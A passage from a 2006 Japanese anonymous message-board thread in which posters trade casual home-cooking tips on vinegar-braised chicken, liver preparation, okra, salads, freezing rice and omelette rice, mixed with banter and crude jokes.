ないちんと英会話能力が同レベルなので、
英語で話しかけると喜ぶな。
愛想は悪いが、
いい子だな。ないちんも、いい子だな。

みゃう。(いい子)

119 :=^_^= ないちん:2006/10/17(火) 13:30:07 ID:l+09lyjx
>>115
小売に近いドヤ街方式だな。

北アルプスのにがり水が、
180円で、
pet bottle でそのまま出されるな。

ないちんは、
豆乳サワーが好きだな。ジョッキに氷とホワイトリカーを入れた状態で、
持ってきて、
マルサンの豆乳(200_入り100円)のミニ・パックを、
どかんと置いて、不機嫌な顔をして去っていくな。

みゃう。(ドヤ街方式)

120 :=^_^= ないちん:2006/10/17(火) 13:32:12 ID:l+09lyjx
>>116
みゃう。(ばいばい!)

しかし、
仕入れの腕前が非常なものだな。仕入れのうまい零細小売店の、
ぼろ店舗の中にカウンターがあることを想像して欲しいな。
立ち飲みだな。

みゃう。(立ち飲み)

121 :=^_^= ないちん:2006/10/17(火) 13:34:30 ID:l+09lyjx
ちなみにないちんの好物は、
冷奴(180円)、
納豆(80円)などだな。いずれも、
パックから出して器に盛り、
ねぎと鰹節を降りかけた程度のものだな。

ないちんは、
雲の上の人なので、こうやって、
下情をお忍びで探りに来るのだな。

みゃう。(お忍び)

122 :=^_^= ないちん:2006/10/17(火) 13:35:08 ID:l+09lyjx
>>114
ないちんの、
太ももをこれで、触り放題だな。

みゃう。(触り放題)

123 :陽気な名無しさん:2006/10/17(火) 18:07:00 ID:qnhWv43F
>>115-116
あら、そうなの。
ニチョ近くだとビームス近くにある別のお店を使う事が多いから、
知らなかったわ。
ありがとね。

ところで、最近1日の気温差が激しいんだけど、こういう時の
夕食って、何がいいかしらね〜。
こないだ寄せ鍋の野菜セットが半額になってたから、彼氏と2人鍋してたわ。


124 :陽気な名無しさん:2006/10/17(火) 22:52:42 ID:bcDyvEGP
>>123
寄せ鍋いいわね〜。
うちの彼氏、何を血迷ったか「味が薄い」とかいって醤油をドボドボ
継ぎ足しやがったの!
(すき焼きじゃないのよ!)

薄味のいい感じだった料理が台無しよ!
その後2〜3口で気分が悪くなって、箸を置いたわ。

…すごく反省してたから「あとは全部食べてねv」と許したけどw


125 :陽気な名無しさん :2006/10/18(水) 17:41:22 ID:FPBEQHBe
今日は鶏のさっぱり煮♪
ミツカン酢のラベルに書いてあったヤツ。しかーし!煮込むとお酢のニオイがきつい!
湯気をかぐだけで「ゲヘッ!ブハッ!」とむせてしまうわw

126 :陽気な名無しさん:2006/10/18(水) 17:49:54 ID:1g34t8Lq
>>125
酢酸は気化しやすいから湯気かぐと酢酸をもろに吸い込むようになるんだお!


127 :陽気な名無しさん:2006/10/18(水) 17:57:41 ID:vdMGVEms
>>125-126

酢って、煮込んだ所で匂いが飛んだりはしないわよね…。
酢豚とかもあんかけっぽい部分が酢の匂いを封じ込めてるようなもんだし。
ユーザーに大量消費させるのを目的にしたようなレシピは疑って掛からないとね。


128 :陽気な名無しさん:2006/10/18(水) 18:08:20 ID:1g34t8Lq
お酢は酢酸だけで出来てるんじゃないお
火で気化しやすい酢酸部分を飛ばすから尖った刺激部分が少なくなるんだお!
でも、香りも飛んじゃうんだお!
それでも、酸っぱさは残るお!
それでも、香りは残るお!
加減が大事なんだお!

基本的に発酵系は火をとおすと香りが飛ぶお!
だから最後に入れるんだお!
一部(豆板醤とか)火で香りを出すのもあるお!

129 :陽気な名無しさん:2006/10/18(水) 18:39:18 ID:cZjdVKFF
>>127
言ってること矛盾してね?
匂いが飛ぶから餡で閉じ込めてるんだろ?
脊髄反射で書き込みすんなよ。ヴォケ!

130 :陽気な名無しさん:2006/10/18(水) 19:49:57 ID:ZZiwdYUA
自炊しなきゃと思ってはいるものの
ついつい買ってすませちゃうわ…

131 :陽気な名無しさん:2006/10/18(水) 21:17:45 ID:BgI/82mj
>>125
匂いキッツイけどうまいわよね〜♪

132 :陽気な名無しさん:2006/10/18(水) 23:47:12 ID:dqgS17Lf
>>129

バカはあんたよw

>ユーザーに大量消費させるのを目的にしたようなレシピ
→さっぱり煮→酢くさい

>酢豚とかもあんかけっぽい部分が酢の匂いを封じ込めてる
→だから臭くない



133 :陽気な名無しさん:2006/10/19(木) 12:39:31 ID:Kq9H3QBd
酢は玉葱とかニンニクを半分まで煮込んで、アルコールを入れてさらに半分になるまで煮
込んで調味料を入れるとソースになるわよ。酸味は軽くなって、酢の臭味は消えるわ。豚
の角煮も柔らかくなるの。

134 :陽気な名無しさん:2006/10/19(木) 14:35:52 ID:cAkEl3G3
>>125>>131
鶏のさっぱり煮って、すんごい酸っぱそうで今までチャレンジできなかったの…
でも
んまいのね?ほんとね?>>128尖った感じも減るのね?
よしわかった。今度試してみるわ!!><穀物酢よね。
同居人にもウケますように。

135 :陽気な名無しさん:2006/10/19(木) 15:04:57 ID:RVu74+ZM
>>128
お!お!ってうるさいわよ…
ハッテンバじゃないのよ!ここはw

136 :陽気な名無しさん:2006/10/19(木) 15:18:11 ID:l7+oLa8g
>>134
レシピドゾー>ttp://www3.mizkan.co.jp/sapari/menu/oigatsuo/recipe/index.asp?id=2666
俺はこのレシピにある追い鰹の代わりに醤油、酒、ダシ、蜂蜜少々で作った気がする。

137 :陽気な名無しさん:2006/10/19(木) 15:33:20 ID:cAkEl3G3
>136
まあご親切にありがとう!
酢、思ってたほどドボドボ入れないのね^^;
あとお鍋に気をつけなきゃなのね。骨付きぶつ切り肉でもんまそーだわ。

あたし お!お!ちゃん、為になる情報くれるしけっこー好きだわ。
お を よ に変えてくれればもっと好きになると思うけどwでもこの程度なら別にいいわ。

138 :陽気な名無しさん:2006/10/19(木) 16:03:56 ID:NZMsMwcX
昨日健診受けたら今日病院から電話がかかってきて、
めでたく来週再検査が決まったわ!w
とりあえず油抜き、緑黄色野菜多目にしてこいっていわれたから
シソ、にんじん、春菊、あとちくわ買ってきたわw
お豆腐とかブロッコリーとかじゃがいもとかの野菜等はけっこうあるから
湯豆腐とか温野菜とか和え物とか作ればいいのよね

でもあたしそんなに酒飲んでないんだけどなー、毎日飲んでるわけでもないし
ビールだって多くても2リットルくらいだし

皆さんも気をつけてね

139 :陽気な名無しさん:2006/10/19(木) 16:43:09 ID:RVu74+ZM
>>138

単に歳なのよ…それ。
だんだん脂肪を燃やしにくい体になってるから、食事の内容・量を
この際見直した方がいいわよ。


140 :陽気な名無しさん:2006/10/19(木) 21:45:32 ID:JDvw95ry
2g

141 :陽気な名無しさん:2006/10/20(金) 21:35:25 ID:Cb04m2tp
お姐さん方に助けを借りたいんだけど、
サラダの盛り付けがうまくならないんだよね。
何かコツはあるかな?
ちなみに今日は、ゆでキャベツ・ブロ・アスパラ・オニオンスライス・トマト・
市販のポテサラの盛り合わせサラダにしました。

142 :陽気な名無しさん:2006/10/20(金) 21:43:18 ID:3YHATVSx
レストランへ行け

143 :陽気な名無しさん:2006/10/20(金) 22:33:54 ID:t3io3P9H
>>141 グリーンレタスを周りに敷いて中央に並べたら綺麗そうだわ。

144 :陽気な名無しさん:2006/10/21(土) 00:52:15 ID:Cri+cEE9
>>141
細長い皿にそれぞれ分けて盛ると斬新ね?

145 :陽気な名無しさん:2006/10/21(土) 09:36:54 ID:E5I1JxVt
>>143
姐さんに同意よ。

それにしても>>141
>ゆでキャベツ・ブロ・アスパラ・オニオンスライス・トマト・市販のポテサラ
という内容だと、下に盛るもの、上に盛るものとの仕分けがしにくいわね?
(みんな柔らかくて型くずれしやすいものでしょ)

ゆでキャベツをグリーンレタスに替える事をお奨めするわ。
ゆでキャベツはアタシも好きなんだけど、サラダよりも一品ものとして
使った方が見た目は綺麗だと思うわ。

あと、トマト以外の色味があまり無いわねぇ…黄色と赤のパプリカはいかが?
辛みがプロシュットと合うと思うわよ。
(上にルッコラを載せるのもいいかも)

…こんな感じでいかがかしら?>141ちゃん

146 :陽気な名無しさん:2006/10/21(土) 17:14:24 ID:tsiLj9ss
>>141
どの料理でもそうだけど、真ん中を高くして盛ると、おいしく見えるわよ。

ところで、お酢で長いもやレンコンのアク抜きをしたいんだけど、りんご酢
だとフルーティーな香りが移っちゃうかしら?米酢って、500mm以上の大きい
サイズしかないでしょう?部屋が狭いから置くスペースがないのよね・・・。

147 :陽気な名無しさん:2006/10/22(日) 01:06:54 ID:7SIde+rs
>142〜146
141です。
お返事遅れました。
具体的なアドバイス、ありがとうございます。
レタスを敷くと、サラダっぽいまとまりが出ますね。
週末は(週末ぐらい)、野菜をモリモリ食べるようにしているので
皆さんの言葉を参考にしつつ、これからも自分なりのサラダ作りを
楽しんでいきたいですね。改めてサンクスでっす。



148 :陽気な名無しさん:2006/10/22(日) 22:36:32 ID:LnIKJsYc
2g

149 :陽気な名無しさん:2006/10/22(日) 22:39:12 ID:y03qP831
ビール2リットルって飲みすぎかしらね。
何だか、すっご〜く気にしてる人がいるようだけど、
大ジョッキたった2杯でしょ。騒ぎすぎ。

150 :陽気な名無しさん:2006/10/22(日) 23:35:33 ID:lWLuYb0u
誘導されたけど、ここで統合で良いのかしら?
別スレにあった話題だけど、あたしナンプラーが駄目だわ。
あれ好きなら料理にバリエーションが増すのに。


151 :陽気な名無しさん:2006/10/23(月) 00:52:57 ID:iRjWomj6
>>150
あら、東南アジア料理には大半のものに入っているわよ。
グリーンカレーの中にももちろん入れるものよ。
きっと、気がつかないうちに食べちゃっているわよ。

ところで、日テレのドキュメント番組のナレーターがメアリー・アリス・ヤングの声よ。
どうなるのかしら、ドキドキ。

152 :陽気な名無しさん:2006/10/23(月) 01:35:45 ID:INS87YQW
メアリー・アリスって、デスパレートで死んだ人?
……違うわよね。失礼。

153 :陽気な名無しさん:2006/10/23(月) 01:40:51 ID:FhQh0UPn
メアリー・アリス・ヤングならそうなのではw
小山茉美ね。

154 :陽気な名無しさん:2006/10/23(月) 02:32:11 ID:gpPzNdpz
>>149
少なくとも「でもあたしそんなに酒飲んでないんだけどなー」といいながら2lて、
ケータイ全然使ってないのにパケット代が凄いんです、とかいいながら
着うたフル(TM)ダウンロードしてるのと同じように見える。


155 :陽気な名無しさん:2006/10/24(火) 11:05:54 ID:rWsajF23
2gって、350ml缶を6缶くらいでしょ。
それが「多くても」だから普段はもっと少ないわけでしょ。

…うちの同居人なんか、毎日6缶以上飲んでるわ…
寝てる姿はリアル荒巻だわ!!あれでも10年前はスリムだったらしいのよー。・゚・(ノД`)・゚・。
姐さん方も気をつけてね…

てことで今夜はビールにもよく合う麻婆豆腐の予定なのw

156 :陽気な名無しさん:2006/10/24(火) 23:17:17 ID:Gd0D5G5b
混ぜ込みわかめウマウマ
はまってるお
右足ぬこうとすると左足がっ!!!!
左足ぬこうとすると右足がっ!!!!
米バンザイ!田植えバンザイ!
ああああああああああああぁぁぁぁぁぁぁぁぁぁ
華麗にメタボリック!

グルソ嫌いは駄目だと思うお!

157 :陽気な名無しさん:2006/10/24(火) 23:52:01 ID:nrbECT5Y
>>150
パクチーとはまた違うのかしら。

158 :陽気な名無しさん:2006/10/26(木) 04:04:46 ID:tu6d7eSn
test

159 :陽気な名無しさん:2006/10/26(木) 09:23:24 ID:Q8dN9qlu
>>157
ナンプラーは魚を発酵させてできた醤油みたいなものだお!
ニョクマムともいうお!
 
パクチーは香草とも言われる香りの強い草だお!

160 :陽気な名無しさん:2006/10/26(木) 09:57:02 ID:LbeoKYSR
パクチーって別名のひとつがカメムシソウなのよね・・・
パクチー自体は好んで食べないにしても、普通に食えてたんだけど、
この和名を聞いてからなぜか苦手になってしまったわ・・・

161 :陽気な名無しさん:2006/10/26(木) 10:15:09 ID:tpZzzVOi
ぱ口ーって、苦手な人が多いせいか、
入れるべき料理に、入ってないことが多いわよね。日本では。
物足りなくて仕方ないわ。。

162 :陽気な名無しさん:2006/10/26(木) 10:34:50 ID:IpbFYKZW
そうね(笑)タイ・ベトナム料理じゃ、もう五株から八株位は食べないと…生野菜でパクパクいけるのはパクチー位だわ!

163 :陽気な名無しさん:2006/10/26(木) 11:28:07 ID:WrI0uu4/
おくらが安かったんだけど(20本120円)使い道が少ないわ…
七夕汁、おくら納豆、おくらおかか、味噌汁、卵合え、ねばねば丼、炊き込みごはん…
それでもまだ10本残ってるの。好物だけどいい加減飽きたわ。
姐さん方、何かいいアイデアないかしら?

164 :陽気な名無しさん:2006/10/26(木) 11:39:08 ID:IpbFYKZW
>>163ニンニクと一緒に素揚げして軽く塩ふって食べたら?おつまみに良いわよ!
後はカレーのトッピングにもどうぞ。

165 :陽気な名無しさん:2006/10/26(木) 11:52:16 ID:71gCr8KN
>163
糠漬けもいいですよ
塩加減にもよりますが、2・3日で漬かります
醤油を少しかけて、お召しあがり下さい

166 :陽気な名無しさん:2006/10/26(木) 12:21:18 ID:leq9MzsK
オクラ湯通ししたらぶつ切りにして、赤黄トマト一口大に切って、黒オリーブ、黒ごま、黒酢、オリーブオイル
で全部からめて、おいしい彩りきれいなサラダの出来上がり!

167 :陽気な名無しさん:2006/10/26(木) 12:52:31 ID:Iy+yjK4O
疲労で、肝機能障害おこして、
やっと復帰したの。
レバーがいいよってことなんだけど、
あまり素人ができる調理方法なんてないわよね。
あたしがやると臭くって苦くってもう大変!
デパートの「鶏肝のワイン煮」は美味しいんだけど、
下処理とか加工方法がわからないわ。


168 :陽気な名無しさん:2006/10/26(木) 13:03:36 ID:PQjC9saG
>>167 私もよ。レバニラ痛めなんて自分で作るとマズーなのよ。
加工したやつ(こてっちゃんみたいなレバー)たまに売ってるんで買うけど
本当は自分で作りたいわ。

169 :陽気な名無しさん:2006/10/26(木) 13:10:22 ID:rSeoh8A9
あたしなんかは水に1時間くらい漬けておいて血抜きしちゃえば
ぜんぜん大丈夫なんだけど(あの苦味が好きだし)、
気になる人は牛乳につけとくとといいっていうわよね。
あと豚より鳥のほうが食べやすいみたいだわ。

170 :陽気な名無しさん:2006/10/26(木) 13:25:40 ID:IpbFYKZW
レバーの下処理は確か血管と血塊を取り除いて血抜きをしないと臭いらしいわ…腎臓も似た感じよ〜
ま、もともとこれらの器官は毒素を中和したり漉し取ったりするためだから臭いのよね…


171 :陽気な名無しさん:2006/10/26(木) 13:35:59 ID:rSeoh8A9
レバーの苦味がだめな人は鮪の血合いなんかどうかしら?
まあ、レバーより生臭いんだけど…新鮮なものを上手に臭み消しすればいけると思うんだけどな…
あたしも時々食べてるんだけど、普通の人はあまり食べないところなので買うときちょっと恥ずかしいw

172 :陽気な名無しさん:2006/10/26(木) 14:00:14 ID:Q8dN9qlu
レバニラの隠し味でよく使われてるのはケチャップやカレー粉だお!
後はパインジュースも隠し味に使われるお!
普通にレバーをケチャップやカレー粉で炒めても相性がいいお!

ぶっちゃけ、レバーって新鮮でっとか臭み抜きっとかで臭いが和らぐけど
嫌いな人は我慢して食べるしかないと思うお!
料理の本にはこの現実を記載すべきだお!!!!

肝臓にはシジミもいいお!
動くのも良くないお!
出来るだけ寝ころんで堕落した生活がおすすめだお!

173 :名無しでなんなのさ:2006/10/26(木) 14:04:00 ID:9VOHVEId
注射したら顔がバンバンにむくれたから、肝臓がうけつけないんだわ。
お注射嫌い。。。

174 :陽気な名無しさん:2006/10/26(木) 14:13:12 ID:h0BQG1V9
>>172
なんでよりによってあんたが〜だおを使うようになってしまったのかしら?

175 :陽気な名無しさん:2006/10/26(木) 14:16:02 ID:leq9MzsK
レバーの臭みなんて今まで気にしたことどころか、気付いたこともなかったわ。
そんなに臭いっけ、あれ? あたし蓄膿症じゃないわよw 料理の香りはいつも人一倍楽しむから。


176 :陽気な名無しさん:2006/10/26(木) 14:21:21 ID:dPfdQKHB
レバーならスライスした後、牛乳に小一時間つけて臭みを取り、
市販の唐揚げ粉をまぶして揚げるのが美味しいわよ。

177 :名無しでなんなのさ:2006/10/26(木) 14:30:45 ID:9VOHVEId
レバーだけは生かハン焼きしかだめ、あのパサパサ感がイヤ。。。

178 :陽気な名無しさん:2006/10/26(木) 14:34:09 ID:leq9MzsK
パサパサよりネットリした感じじゃない?

179 :陽気な名無しさん:2006/10/26(木) 14:34:39 ID:IpbFYKZW
私も口にいつまでも残るのが嫌!
でも生レバ、フォアグラはいけたわ(笑)
これは食わず嫌いなだけかしら…

180 :陽気な名無しさん:2006/10/26(木) 15:12:50 ID:cJ6IEFTo
豚と牛と鶏のレバーじゃ食感も違うわよね?
>>176のは豚かしら?シンプルだけど美味しそう。

181 :名無しでなんなのさ:2006/10/26(木) 15:51:55 ID:9VOHVEId
牛以外のレバーは人間が食べるものではありません。
レバにらのレバーはなんなの?

182 :陽気な名無しさん:2006/10/26(木) 17:04:34 ID:gQn9s/4H
ホモ江、久しぶりに見たわ。

183 :陽気な名無しさん:2006/10/26(木) 17:11:42 ID:h0BQG1V9
焼き鳥のレバーはおいしくいただけるわ。
生理がきても鉄分ブリブリよ?

184 :陽気な名無しさん:2006/10/26(木) 17:42:32 ID:71gCr8KN
あんまり臓物の話はしないでくださいな
グロいですよ、レバーを牛乳に付けたり、血抜きしたりだの…

185 :名無しでなんなのさ:2006/10/26(木) 18:18:28 ID:9VOHVEId
182>美味しそうでしょ。。。

186 :176:2006/10/26(木) 18:45:39 ID:dPfdQKHB
>>180
失礼。豚って書き忘れたわ。
鳥レバーならあまり知られてないけどミートソースに入れるのがオススメよ。
フライパンでオリーブオイルを熱しニンニクを入れて香りを出し、
そこに刻んだ鳥レバーを入れるの。
そしてよ〜く炒める(これで臭みも食感も消えるわ)。
あとはこれをミートソースに合わせて軽く煮込むだけ。
ソースにコクも出てすごく美味しいのよ!
本番イタリアのレシピにもあるんだから。

187 :陽気な名無しさん:2006/10/26(木) 20:07:55 ID:/Ok4ObwF
砂肝って安いのね。今日買ってみたんだけど
どうやって調理したらいいのかしら?

188 :陽気な名無しさん:2006/10/26(木) 20:46:06 ID:rSeoh8A9
筋をとって、薄く切って塩コショウで炒めるのよ
あたしはどれが筋なのかわかんなくてそのままやっちゃったけどw

189 :名無しでなんなのさ:2006/10/26(木) 23:34:11 ID:9VOHVEId
             ♂



190 :陽気な名無しさん:2006/10/26(木) 23:38:20 ID:ClO0T4Kh
いやぁぁあああああああああああああああああああああああ!!!!!!!!!!
レバとかミノとか
なんでわざわざ内臓食べなきゃいけないのよっ!!???
普通のお肉で十分美味しいのにっ。

191 :陽気な名無しさん:2006/10/26(木) 23:46:24 ID:NVbDf0gK
内臓も死肉も変わらないわよ。

192 :名無しでなんなのさ:2006/10/27(金) 00:25:43 ID:BYPnmjzL
ホルモン焼きにレバやミノは入ってないわよね。。。

193 :陽気な名無しさん:2006/10/27(金) 13:09:21 ID:yfEcLaM0
砂肝はかなり美味しいわよ?レバーみたいに臭みは無いし、弾力の有る噛みごたえがたまらないわ
>>187
とにかく、白くギラギラしてる所を削いでね 塩コショウだけでも美味いわよ〜

194 :名無しでなんなのさ:2006/10/27(金) 13:15:15 ID:BYPnmjzL
コリコリ・・・タンシオの触感。。。

195 :陽気な名無しさん:2006/10/27(金) 18:05:03 ID:+vDnl/Pq
>>188>>193
レスありがとう
ブラジル産とか少し怖いけど食べるわw安いもの
白い部分ってなんなのかしら 削がなきゃおなか壊すかしら

196 :陽気な名無しさん:2006/10/27(金) 21:01:13 ID:YiymMIw7
うちの旦那シャンツァイ大好きで何にでも混ぜて食べるの
強烈なオイニーが家中漂うわ・・・
お椀1杯位食べるのよ! すごすぎ

197 :陽気な名無しさん:2006/10/27(金) 22:29:24 ID:086gWQYV
話の流れと関係ないけど、職場にお弁当もってってる人っているかしら?

198 :陽気な名無しさん:2006/10/28(土) 00:20:08 ID:4Jn+4/OR
>>196
シャンツァイ(香草)って、コリアンダーとかパクチーといわれるハーブでしょう?

どこで売ってるの?自家栽培?

199 :陽気な名無しさん:2006/10/28(土) 13:31:26 ID:vO7LXcaR
YOU育てちゃいなお!





スーパーで扱ってるところもあるお!

200 :陽気な名無しさん:2006/10/30(月) 03:01:57 ID:leBE4OHF
>>197
お勤めしてた頃は毎日作ってたわ。
(マンコ予防のために)
彼女と同棲してるって嘘ついてね。

明日お休みなの。(自営よ♪)
目が冴えて寝られないから、
簡単なものだけど、
思わず明日のお料理と、
下ごしらえしちゃったわ。
食ってくれる彼氏もいないのに、
あたしって馬鹿ねw

・鶏ごぼうご飯(あとはタイマーが勝手に調理。)
・切干しだいこんと揚げの煮物
・ほうれん草の白和え
・金目鯛の粕漬け(冷蔵庫で解凍中。あとは目が覚めたら焼くだけ。)

夜はジムにでも逝こうかしら…。

201 :陽気な名無しさん:2006/10/30(月) 08:08:15 ID:SgqIDn4u
みんな偉いのね〜。
あたしなんか料理といえば、せいぜいコンビニ食品に
胡椒やバジルふりかけるだけ。あらびきガーリックもかけて
なんちゃってイタリアンにして遊ぶくらいだわ。

202 :陽気な名無しさん:2006/10/30(月) 08:34:57 ID:oQhAULSV
>>201
でもそれって大事よね 自分でアレンジしていこうという気持ちが大切
そのうち暇が出来たら一から作るのが楽しくなるわよ

203 :陽気な名無しさん:2006/10/31(火) 00:22:54 ID:FuO2VVFz
>>202
あんた媚売りすぎよ
八方美人はおやめなさい

204 :陽気な名無しさん:2006/10/31(火) 03:04:50 ID:UCkdW7x/
ささみを叩いて伸ばしてパン粉つけてあげる

それをフランスパンに野菜やピクルス
マスタード、マヨネーズ等をお好みではさんで
カブりつく。最近のメニュー。

205 :陽気な名無しさん:2006/10/31(火) 05:44:24 ID:4yuLVGQb
皆さん、キャベツの千切りって包丁でやってるの?

206 :陽気な名無しさん:2006/10/31(火) 06:16:14 ID:QRk+UcmU
スライサーでやった方が綺麗に仕上がるけど、別に自分で食べるものだから、
包丁で切っちゃっているわよ。

207 :陽気な名無しさん:2006/10/31(火) 06:46:17 ID:ObIO9w3D
スライサーもいいけど
あたしは味を落としたくないから料理の仕上げに隠し味をふりかけるわ。
サラダとかにかけると新鮮なのね

http://p.pita.st/?6bdv24td

208 :陽気な名無しさん:2006/10/31(火) 06:49:26 ID:4yuLVGQb
>>207
死んでいいわ。

209 :陽気な名無しさん:2006/10/31(火) 11:28:37 ID:wdsMoGun
>>203
あら意味がわからないわ?

210 :陽気な名無しさん:2006/10/31(火) 16:37:01 ID:ARS2/KOl
>>207
うぉえっぷ

211 :陽気な名無しさん:2006/10/31(火) 16:44:07 ID:qudg1+a6
>>209

意味がわからなくても正常だと思うわ。
イジワルババァの戯れ言なんてスルーしていいのよ。

212 :陽気な名無しさん:2006/10/31(火) 16:44:14 ID:cZ998YuC
さーて、オムライスを作るわ。
最近は割るタイプのにしてるんだけど
割るタイプだと卵沢山使わなきゃいけないから
コレステロールが気になるとこだわ

213 :陽気な名無しさん:2006/10/31(火) 17:06:01 ID:WWfsr1Zj
>212
偶然!自分も今日オムライスにしようと思ってた。
割るタイプはいつも固まっちゃうんだけど
今日は手早くやって、成功させようと思ってる。

214 :陽気な名無しさん:2006/10/31(火) 17:11:46 ID:cZ998YuC
オムライス作ったわ。
今日は失敗よ!厚さがイマイチだったわ。
明日こそパーフェクトなオムライスにするわ。

215 :陽気な名無しさん:2006/10/31(火) 22:34:15 ID:ARS2/KOl
え〜っ!!姐さん達凄いわ!!
あたし卵料理って熱を通しすぎて、
ぱさぱさになっちゃうのよ。
だからオムライスはいつも薄焼き玉子でくるむやつよ。

216 :陽気な名無しさん:2006/10/31(火) 22:52:22 ID:P0NgCnM3

あたしは乗っける卵はいつも2個だわ。
フライパンで軽くくしゅくしゅかき混ぜて半熟状にしたやつを、
皿にこんもりと盛ったケチャップライスにのっけて、
ラップを使ってアチチ!アチチ!って全体の形を整えて出来上がりよ。


217 :陽気な名無しさん:2006/10/31(火) 22:56:44 ID:FuO2VVFz
最近では卵の中にコレステロールを下げる物質も見つかって
卵はコレステロール取り過ぎの基って言う神話も無くなったのよ

218 :陽気な名無しさん:2006/10/31(火) 23:16:40 ID:cZ998YuC
>>215
それは火が弱いんじゃないかしら?
いつもバターを焦がすぎりぎりまでフライパンあっためとくわ。

219 :陽気な名無しさん:2006/10/31(火) 23:43:52 ID:pktMOJoF
昨夜、キノコと鷄ひきの炊き込みご飯作って美味しく食べたんだけど、夜食べようと思ってよそってたら微かな異臭…
腐りかけてたわ。冷蔵庫に仕舞わなきゃダメねぇ(;_;

220 :陽気な名無しさん:2006/10/31(火) 23:45:50 ID:ezRcQfdo
明日の予定は餃子。
自炊歴10年以上だけど初めてつくるわ。

221 :陽気な名無しさん:2006/11/01(水) 00:28:42 ID:VEX67Joe
>>219
フリーザーの方が風味が失われないわよ。

222 :陽気な名無しさん:2006/11/01(水) 00:42:17 ID:rPMVzElf
>>221
そうなの?わかったわ、これからはフリーザーにちゃんと仕舞うわ。
どうも有難う。

223 :陽気な名無しさん:2006/11/01(水) 00:56:28 ID:ioGehvCs
>>219
保温してなかったの?それとも保温して一日で腐りかけたのかしら?

224 :陽気な名無しさん:2006/11/01(水) 01:10:31 ID:rPMVzElf
保温してなかったのよ〜。
母がしまってくれると思ってたら、そのまま。
夕飯は、それ食べようと思ってたからご飯も炊かず。
慌てマッハ炊きで炊いたわ。

225 :陽気な名無しさん:2006/11/01(水) 01:15:35 ID:OqigQi8b
>>224
日当たりのイイ場所に炊飯器置いてるのかすら?
うちの場合、この時期は二日くらい平気だわ。

226 :陽気な名無しさん:2006/11/01(水) 02:23:41 ID:rPMVzElf
いいえ、窓からは離れてるわ。
二日ももつの?!凄いわね!
もしかしたら、炊き込みだからいけないのかも。
具材は、マイタケ、えのき、椎茸、鷄ひきよ。
一緒に炊いたわけじゃなくて、だし汁と醤油等で炒めて、炊き上がった後に混ぜたんだけど。

227 :陽気な名無しさん:2006/11/01(水) 02:26:15 ID:PbqYYOrt
あたし、イカご飯作って食べて、残りを次の朝食べたら30分後に猛烈な吐き気を催して
全部出しちゃったわw

228 :陽気な名無しさん:2006/11/01(水) 02:35:07 ID:jd0Y7F5l
気温とかにもよるとは思うけど、1日で腐るかしらねぇ…。
てか、家は中に入ってる限りは保温されてるわ。ずぼらでしょ。

229 :陽気な名無しさん:2006/11/01(水) 02:38:40 ID:rPMVzElf
保温しておいた方がいいのかしら。
あたし、すぐコンセント抜いちゃう癖があんのよ。

230 :陽気な名無しさん:2006/11/01(水) 02:42:25 ID:qFy4Mk12
俺は一人暮らしで、しかもあまり自炊しないから、
いっぺんに二合とか炊いて、炊けたら速攻で小分けにしてフリーザーに入れてる。
あったかいうちに湯気ごとパックして、冷ましてから凍らすのがポイントらしい。

231 :陽気な名無しさん:2006/11/01(水) 02:58:41 ID:jd0Y7F5l
そのご飯の保存法よく見るけど、温かい状態でパックってアリなの?冷凍だから問題ないのかしら?

232 :陽気な名無しさん:2006/11/01(水) 05:10:34 ID:XgEId4Pf
ごはんって一旦炊いて冷めるとまずくなるものね。
だからうま味が逃げないうちに急速に冷まそうって作戦かしら?

233 :陽気な名無しさん:2006/11/01(水) 06:35:00 ID:PbqYYOrt
湯気ごと? 蓋締める前に湯気逃がさないと、水分が溜まって凍らせた時に水が底の方にたまって凍ってない?
どっちにしろ、あたしは一度凍らせたご飯は、お茶漬けかお粥か雑炊にしか使わないわ。
電子レンジ反対派だから解凍した物をそのままホクホク食べたくないの。

234 :陽気な名無しさん:2006/11/01(水) 07:06:38 ID:5SrH5DW/
>>231
よろしくない菌が増えそうな気がするわ

235 :陽気な名無しさん:2006/11/02(木) 00:23:57 ID:0oBOKdlR
一膳ずつラップで包んだほうがいいわよ。>ごはん冷凍
炊きたてのご飯一膳づつ分けてラップに包んで
数時間冷ましてから冷凍庫へ。
食べるときは、ラップは外してチンするほうがいいみたい。嘘みたいだけどホント。
炊きたてのご飯て感じよマジで。

236 :名無しでなんなのさ:2006/11/02(木) 00:30:06 ID:4Py58ffr
あたいやなのよチンって。
冷凍物に限ってオンよ。
温めるのはボンカレーみたくの奴だったらお湯で・・・
熱さが違うのよ。やなのレンジの熱さ。。。

237 :陽気な名無しさん:2006/11/02(木) 14:02:48 ID:dsosHhvD
>>235

ラップしたままだと、ラップとご飯がくっついてる部分が湯気で
ベトベトになるからね。

238 :陽気な名無しさん:2006/11/02(木) 14:22:19 ID:uJ4AlOY/
電子レンジでチンしたら、分子が壊れたりとか、アミノ酸の質が変わっちゃったりとか、
そうゆう話を聞くので、なるべく使わないようにしています。 自然解凍がデフォ。
どうしても早く解凍したいときは、蒸篭で蒸します(調理済みの物のみ)。

239 :陽気な名無しさん:2006/11/02(木) 14:36:33 ID:OJQEntdo
暇ねぇ

240 :陽気な名無しさん:2006/11/02(木) 17:00:17 ID:Q7PTDgu2
冷凍ご飯、蒸すとおいしいっていうわよね。
ラップをしたまま蒸すのかしら?

241 :陽気な名無しさん:2006/11/02(木) 22:16:32 ID:c2zTFmc3
>>236
熱くなるのも早いけど、冷めるのも早いわよね。

>>237
揚げ物などもラップなしがいいらしいわ。

242 :陽気な名無しさん:2006/11/02(木) 22:36:07 ID:BrxKMazC
さかな用グリルの方がもう少しマシよ<揚げ物

243 :陽気な名無しさん:2006/11/02(木) 23:33:23 ID:YwIf86S0
>>240
さらし使うんだお!
ご飯の下に敷くんだお!
上からの水滴よけにも使うお!

さらしでガチムチ兄貴のをくるむお!
六尺だお!
おっきっきだお!

244 :陽気な名無しさん:2006/11/03(金) 00:24:51 ID:LbkqRwio
バカは早く寝なさい

245 :陽気な名無しさん:2006/11/03(金) 00:34:44 ID:izykNbxr
>>243
アンタのレス読んでたら
化け猫思い出したわ。

246 :陽気な名無しさん:2006/11/03(金) 00:43:01 ID:2KRkE2XK
腹減ったし何か作ろうと思うんだけど
もうじき賞味期限の素麺が残ってるのよ
どうすればいいのかしら?

247 :陽気な名無しさん:2006/11/03(金) 01:06:51 ID:8EPNALT3
電子レンジで簡単プリン作ったんだけど、
出来損ないの卵焼きみたいなバサバサな食感になっちゃったわ。
完全に失敗ね・・・
アタシの人生全て失敗よ。

248 :陽気な名無しさん:2006/11/03(金) 01:11:13 ID:L7Z7S2l+
ためしてガッテン!見たのかしら?
見逃したわ・・

